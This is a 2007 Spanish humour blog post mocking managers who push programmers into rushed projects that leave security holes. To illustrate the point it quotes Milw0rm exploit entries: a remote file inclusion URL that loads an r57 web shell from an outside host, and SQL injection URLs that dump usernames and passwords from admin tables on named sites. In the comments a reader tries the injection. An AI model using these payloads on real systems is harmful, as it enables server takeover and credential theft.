lunes, junio 25, 2007

Magik Tecnicoless

- ¿Satanás? soy Dios, verás hemos tenido un error y te hemos enviado a tres programadores al infierno por error. Necesito que me los devuevlas.

- Dios, soy Satanás. Los programadores se quedan, desde que están aquí han desarrollado aplicaciones que han hecho que vivamos mucho mejor en el infierno.

- Pues no puede ser Satanás, tienen que estar en el cielo, así que te voy a demandar.

- ¿Ah sí? y ¿de dónde vas a sacar a los abogados?


¡Qué buena gente son los programadores!, y que poco están valorados. Lo peor de todo, son aquellos pobres que engalanados con su traje de tecnicoless o de jefe les hacen ir de corbata en blanco para luego escribir código que va a leer una máquina. Como se fueras a causar buena imagen a la CPU. Luego llega el jefe, y como dice el chiste de Dilbert que pongo en las charlas desde que me lo contó el chico maravillas:

[Jefe de Dilbert] - Dilbert, he pensado que es bueno tener una base de datos.

[Dilbert Pensando] - ¡Horror! ¿lo dirá en serio o lo habrá leido en una revista?

[Dilbert contestanto al jefe] - ¿La quiere verde o azul?

[Jefe de Dilbert] - mmmm.... he oido que la malva tiene mucha ram.


Esto suele darse después del "Momento Orujito de Hierbas" con el tecnicoless de turno. La situación es la sigueinte: se han ido de comilona a esos sitios dónde no hay programadores, ya sabéis, asadores dónde van los jefes, tecnicoless y evangelistas de buen vivir, y allí, en la sobremesa, caido ya el vino Protos, Pesquera, Marques de Cáceres, Pago de Carraovejas, siempre Reserva o Gran Reserva (hablo de jefes medios, no de los que tiran de Vega Sicilia), empieza la batalla de los jefes justo cuando alguien dice "¿un orujito de hierbas?".

La batalla de los jefes se juega con mazos Magik en las que un grupo de artístas tecnicoless les han valorado las cartas. Así, nuestro amigo Jefe1 que es mano, comienza:

- Saco ERP que sube +3 puntos en productividad y +2 en beneficios.

A lo cual, el Master tecnicoless dice:

- Un momento, tira un dado de 17 caras para ver el factor de éxito en la implantación, que lo mismo la consultorá te manda una subcontrata subcontratada por un subcontratador que es subcontratado por una empresa que hace Outsourcing.

Jefe1 tira dados y le sale un 2:

- A lo cual Jefe2 se desgueva, jajaja. Creo que te lo va a montar una de las grandes, ji,ji,ji,ji,ji. Y encima se te va a olvidar firmar claúsulas de penalización. jajaja. Si hubieras sacado un 1 te hubiera tocado hacer un MBA en compensación por esta cagada.

Jefe1, indigando saca otra carta del final del mazo:

- Pues ahora saco Data Mining e implanto Business Intelligence en mi empresa que sube un +12 en beneficios y te baja a ti un -4 en clientes.

Jefe2, preocupado, saca carta en su turno.

- Pues yo ahora voy y monto un laboratario I+D+I para desarrollar tecnología de software libre para cuidar vidas, y subo un +4 imagen social, un +2 en carrera política y un + 7 en medios de comunicación.

a lo que el master dice:

- Bueno, bueno, tú tira el dado de 23 caras, que hay que ver que hace tu departamento de RRHH que lo mismo tira de Infojobs y como jefe del laboratorio te toca otro Tecnicoless y además blogger con lo que estás jodido y te cuesta un -10 en beneficios, un -15 en clientes y un -4 en imagen curricular.

Tira dados: un 8.

- Piuff, parece que te vas a hostiar y van a traerte a alguien muy malo, tal vez te pegues la GRAN hostia o consigas mantenerte, pero al menos no tienes a un blogger en tu laboratorio.

Después de esta batalla, entre "en mi empresa tenemos" y "nosotros vamos a implantar" llegan las víctimas. ¿Quiénes? los programadores, que van a tener que comerse el desarrollo de un nuevo producto programado en un lenguaje del que la única formación que han recibido es un manual fotocopiado descargado de la web y con las flechas de "página adelante y página atrás" sustituidas por un cuadrado con una equis roja de "no se ha encontrado la imagen". Conclusión: Cagada de seguridad.

Mirando en los exploits de Milw0rm para la web, durante el último mes se repite la tendencia, día sí, y día también. Cagadas brutales en software para Internet de dos tipos: RFI [Remote File inclusion] (para meter shells en servidores, vamos) y SQL Injection [Para extraer toda la información del motor de bases de datos].

En esta URL tenéis los últimos 30 exploits que se han enviado. Contad los RFI y los SQL Injection. ¡Te cagas! Yo últimamente los reviso todos, me miro los códigos para ver si descubro alguna cosa chula, pero muchos son del tipo siguiente:

Ejemplo RFI. Exploit 4063

BUG:
http://www.site.com/modules/tinycontent/admin/spaw/spaw_control.class.php?spaw_root=evilcode.txt?

Vuln site:
http://www.wiscpsa.org/modules/tinycontent/admin/spaw/spaw_control.class.php?spaw_root=http://www.ekin0x.com/r57.txt?


Ejemplo SQL Injection. Exploit 4095

EXPLOIT 1: http://www.server.com/SCRIPT_PATH/index.php?mod=cart&quantity=1&action=add&ID=-1%20and%201=2%20UNION%20ALL%20SELECT%201,2,3,concat(username,password),5,6,7,8,9,10,11%20FROM%20pharma1_admin_users

EXPLOIT 2: http://www.server.com/SCRIPT_PATH/index.php?mod=cart&quantity=1&action=add&ID=-1%20and%201=2%20UNION%20ALL%20SELECT%201,2,3,concat(username,password),5,6,7,8,9,10,11%20FROM%20pharma1_users

EXAMPLE ON DEMO: http://www.wscreator.com/pharma1/index.php?mod=cart&quantity=1&action=add&ID=-1%20and%201=2%20UNION%20ALL%20SELECT%201,2,3,concat(username,password),5,6,7,8,9,10,11%20FROM%20pharma1_admin_users


Uno que me ha llamado la atención ha sido este expediente: Exploit 4092

"I wont past every line of this code , because EVERY parameter is vulnerable to sql injection , XSS , full path ... "

Vamos, que son tan evidentes que lo único que piensas es ¡pobre programador!

Nunca decidas hacer algo nuevo en Informática después de comer en un asador

4 comentarios:

  1. Un texto digno de pasar a la Historia. :)

    Razón no te falta,... pero esto, sobre todo, es algo muy "tipically spanish": la pirámide invertida no sólo en el desarrollo de software.

    P.S.: Oye,... que el Protos está bastante bien y no es excesivamente caro.

    ResponderEliminar
  2. Hola Chema, se supone que en el ejemplo de SQL Injection tendria que dar como resultado la lista de logins y passwords de la Base de Datos no?

    A mi no me ha funcionado. El link de la demo funciona bien? o hay que cambiar algun parametro?
    He cambiado el valor del ID, porque no he visto ningun articulo con ID=-1, pero aun asi sigue sin funcionar.

    Una ayudita please.

    ResponderEliminar
  3. Hola Javi, en el expediente dice que ya lo habían arreglado, por eso no te ha funcionado. Sólo lo he citado para que se viera lo fácil que era hacerlo.

    Un saludo!

    ResponderEliminar
  4. El fragmento de este texto junto con el Exploit en la carretera de Juanito... como dice vargas, ha de pasar a la historia xD

    ResponderEliminar